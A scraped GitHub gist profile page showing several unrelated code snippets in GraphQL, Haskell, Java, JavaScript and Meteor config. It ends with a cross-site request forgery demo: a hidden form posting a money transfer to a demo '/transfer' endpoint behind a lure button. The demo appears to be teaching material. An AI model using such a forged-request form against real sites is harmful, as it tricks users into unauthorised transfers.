Skip to content

Instantly share code, notes, and snippets.

View schmidsi's full-sized avatar
🦩

Simon Emanuel Schmid schmidsi

🦩
View GitHub Profile
@schmidsi
schmidsi / asdf
Created August 14, 2019 10:18
Blabla
adsf
enum ParticipationType {
INVEST
REDEEM
}
enum Opinion {
UnqualifiedOpinion
QualifiedOpinion
AdverseOpinion
DisclaimerOfOpinion
@schmidsi
schmidsi / PicturesASCII.hs
Created October 7, 2017 14:41
Fun with Haskell Lists
module PictureASCII where
import Data.Char
--------------------------------------------------------------------------------
-- 1) ASCII Pictures
--------------------------------------------------------------------------------
-- A Picture is a list of strings.
type Picture = [String]
-- An example picture. Design a nicer one.
import ch.fhnw.util.math.Mat4;
import com.jogamp.opengl.*;
import com.jogamp.opengl.awt.GLCanvas;
import com.jogamp.opengl.util.FPSAnimator;
import java.awt.*;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;
public class Lissajous implements WindowListener, GLEventListener{
@schmidsi
schmidsi / firstResult.js
Created July 13, 2017 12:53
functional helper to execute every function in a list and return the value of the first function which not returns false
// functional helper to execute every function in a list
// and return the value of the first function which not returns false
const firstResult = (...args) => functionList =>
functionList.find(f => f(...args))(...args);
// Example (a stupid one):
const decisionList = [
(a, b) => a > b ? 'a greater than b' : false,
(a, b) => a < b ? 'a smaller than b' : false,
() => 'a equal b',
Array(5).fill().map((item, index) => index);
// [ 0, 1, 2, 3, 4 ]
@schmidsi
schmidsi / galaxy-env-vars.js
Created July 3, 2017 13:17
ENV Vars provided by galaxy.meteor.com
Meteor.settings = {
PrerenderIO: {
token: '*',
prerenderServiceUrl: 'https://service.prerender.io'
},
'galaxy.meteor.com': {
env: {
MONGO_URL: 'mongodb://*',
ROOT_URL: 'https://staging.melonport.com'
}
0x6D32657f13e771472BdDCD31DE968de84397b7C6
<form action="https://krysi-csrf-express.now.sh/transfer" method="POST">
<input type="hidden" name="payee" value="eve" />
<input type="hidden" name="amount" value="1234051234" />
<button type="submit">If you're sexy and you know it, click me ;)</button>
</form>